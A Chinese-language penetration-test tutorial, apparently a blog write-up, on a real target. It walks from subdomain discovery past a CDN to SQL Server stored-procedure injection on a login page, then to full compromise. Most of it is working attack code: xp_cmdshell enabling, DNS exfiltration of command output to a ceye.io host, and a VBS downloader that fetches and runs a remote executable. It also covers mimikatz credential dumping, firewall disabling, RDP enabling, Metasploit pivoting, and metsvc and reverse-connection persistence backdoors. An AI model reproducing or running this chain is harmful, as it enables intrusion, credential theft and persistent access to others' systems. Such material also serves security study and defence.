记一次渗透实战
字数 1564 2025-08-26 22:11:23

SQL Server 存储过程注入与内网渗透实战教程

信息收集阶段

1. 目标识别与子域名枚举

  • 使用 dirsearch 进行目录扫描(初始扫描无显著发现)
  • 发现主站使用 CDN 隐藏真实 IP
  • 使用 subDomainsBrute 工具扫描子域名
  • 关键发现:某个子域名未使用 CDN,暴露真实服务器 IP

2. 端口与服务探测

  • 使用 nmap 扫描真实 IP
  • 发现关键端口:8099 运行未知 WEB 服务
  • 访问该端口发现登录界面

漏洞利用阶段

1. SQL 注入发现

  • 测试发现账号密码验证分离(admin/admin 返回密码错误,不存在的账号返回"账号不存在")
  • 单引号测试触发 SQL 错误,确认存在注入漏洞
  • 尝试"万能密码"失败(admin/x' or 'x'='x--

2. 存储过程注入分析

  • 判断后端使用类似 execute @result= verify 'xxx','xxx' 的存储过程验证
  • 成功测试 payload:admin/11','xx'-- 使验证通过
  • SQL Server 支持堆叠查询,可执行多条 SQL 语句

3. 权限提升与命令执行

  1. 启用扩展存储过程

    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;
    
  2. 执行系统命令

    exec master..xp_cmdshell "whoami"
    
  3. 无回显时的验证方法

    • 使用 ping 命令验证命令执行
    • DNS 带外技术获取命令执行结果

4. DNS 带外技术详解

完整 payload:

exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";

注意事项:

  • && 需要编码为 %26%26
  • 双引号在 SQL Server 中用两个双引号表示
  • 执行目录需要有写权限
  • 清理临时文件避免后续执行失败

文件下载与持久化

1. VBS 下载脚本

iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2

2. 写入 VBS 脚本

分步执行 echo 命令写入脚本:

exec master..xp_cmdshell "echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs"
exec master..xp_cmdshell "echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs"
[...后续部分省略...]

3. 执行下载

exec master..xp_cmdshell "cscript D:/l.vbs http://ip/x.exe D:/x.exe"

关键点:

  • 注意系统架构(32位/64位)匹配 payload
  • 杀毒软件可能拦截 PowerShell 下载,VBS 是替代方案

内网信息收集

1. 基本系统信息

  • ipconfig - 确认内网环境
  • net group /domain - 检查域环境(本例中无域)
  • systeminfo - 系统详细信息
  • netstat -ano - 网络连接和端口情况
  • arp -a - 相邻主机 IP

2. 凭证获取

  • 使用 mimikatz 获取哈希或明文密码
    load mimikatz
    kerberos
    或
    mimikatz_command -f sekurlsa::logonPasswords
    

远程桌面访问

1. 开启 3389 端口

适用于 Win7/Win2003/XP:

exec master..xp_cmdshell "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal"" ""Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"

2. 关闭防火墙

exec master..xp_cmdshell "netsh firewall set opmode mode=disable"

3. 端口转发(内网到公网)

portfwd add -l 3389 -p 3389 -r 192.168.50.2

内网横向移动

1. 添加路由

run autoroute -s 192.168.50.2/24

2. 内网扫描

使用 Metasploit 的端口扫描模块:

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24
set ports 139,445
exploit

权限维持技术

1. Metsvc 后门

run metsvc

连接方式:

  • 使用 exploit/multi/handler 模块
  • Payload 设置为 windows/metsvc_bind_tcp
  • 目标 IP 和端口 31337

2. Persistence 模块

run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx

参数说明:

  • -U:用户登录后自启动(HKCU...\Run)
  • -i:反向连接间隔(秒)
  • -p:反向连接端口
  • -r:反向连接 IP

清除脚本位置:/usr/share/metasploit-framework/scripts/meterpreter/

关键问题解决记录

  1. 中文乱码问题

    • 尝试 chcp 65001 会导致 shell 断开
    • 解决方案:使用 chcp 437 (IBM437 英语代码页)
  2. 命令执行限制

    • 参数最大长度 128 字符
    • 解决方案:分步执行复杂命令
  3. 双引号处理

    • SQL Server 中双引号内需要两个双引号表示一个双引号
    • 不是使用反斜杠转义

本教程详细记录了从外网渗透到内网横向移动的完整过程,重点突出了 SQL Server 存储过程注入的特殊技巧和内网渗透中的实用技术。

SQL Server 存储过程注入与内网渗透实战教程 信息收集阶段 1. 目标识别与子域名枚举 使用 dirsearch 进行目录扫描(初始扫描无显著发现) 发现主站使用 CDN 隐藏真实 IP 使用 subDomainsBrute 工具扫描子域名 关键发现:某个子域名未使用 CDN,暴露真实服务器 IP 2. 端口与服务探测 使用 nmap 扫描真实 IP 发现关键端口:8099 运行未知 WEB 服务 访问该端口发现登录界面 漏洞利用阶段 1. SQL 注入发现 测试发现账号密码验证分离(admin/admin 返回密码错误,不存在的账号返回"账号不存在") 单引号测试触发 SQL 错误,确认存在注入漏洞 尝试"万能密码"失败( admin/x' or 'x'='x-- ) 2. 存储过程注入分析 判断后端使用类似 execute @result= verify 'xxx','xxx' 的存储过程验证 成功测试 payload: admin/11','xx'-- 使验证通过 SQL Server 支持堆叠查询,可执行多条 SQL 语句 3. 权限提升与命令执行 启用扩展存储过程 : 执行系统命令 : 无回显时的验证方法 : 使用 ping 命令验证命令执行 DNS 带外技术获取命令执行结果 4. DNS 带外技术详解 完整 payload: 注意事项: && 需要编码为 %26%26 双引号在 SQL Server 中用两个双引号表示 执行目录需要有写权限 清理临时文件避免后续执行失败 文件下载与持久化 1. VBS 下载脚本 2. 写入 VBS 脚本 分步执行 echo 命令写入脚本: 3. 执行下载 关键点: 注意系统架构(32位/64位)匹配 payload 杀毒软件可能拦截 PowerShell 下载,VBS 是替代方案 内网信息收集 1. 基本系统信息 ipconfig - 确认内网环境 net group /domain - 检查域环境(本例中无域) systeminfo - 系统详细信息 netstat -ano - 网络连接和端口情况 arp -a - 相邻主机 IP 2. 凭证获取 使用 mimikatz 获取哈希或明文密码 远程桌面访问 1. 开启 3389 端口 适用于 Win7/Win2003/XP: 2. 关闭防火墙 3. 端口转发(内网到公网) 内网横向移动 1. 添加路由 2. 内网扫描 使用 Metasploit 的端口扫描模块: 权限维持技术 1. Metsvc 后门 连接方式: 使用 exploit/multi/handler 模块 Payload 设置为 windows/metsvc_bind_tcp 目标 IP 和端口 31337 2. Persistence 模块 参数说明: -U :用户登录后自启动(HKCU\...\Run) -i :反向连接间隔(秒) -p :反向连接端口 -r :反向连接 IP 清除脚本位置: /usr/share/metasploit-framework/scripts/meterpreter/ 关键问题解决记录 中文乱码问题 : 尝试 chcp 65001 会导致 shell 断开 解决方案:使用 chcp 437 (IBM437 英语代码页) 命令执行限制 : 参数最大长度 128 字符 解决方案:分步执行复杂命令 双引号处理 : SQL Server 中双引号内需要两个双引号表示一个双引号 不是使用反斜杠转义 本教程详细记录了从外网渗透到内网横向移动的完整过程,重点突出了 SQL Server 存储过程注入的特殊技巧和内网渗透中的实用技术。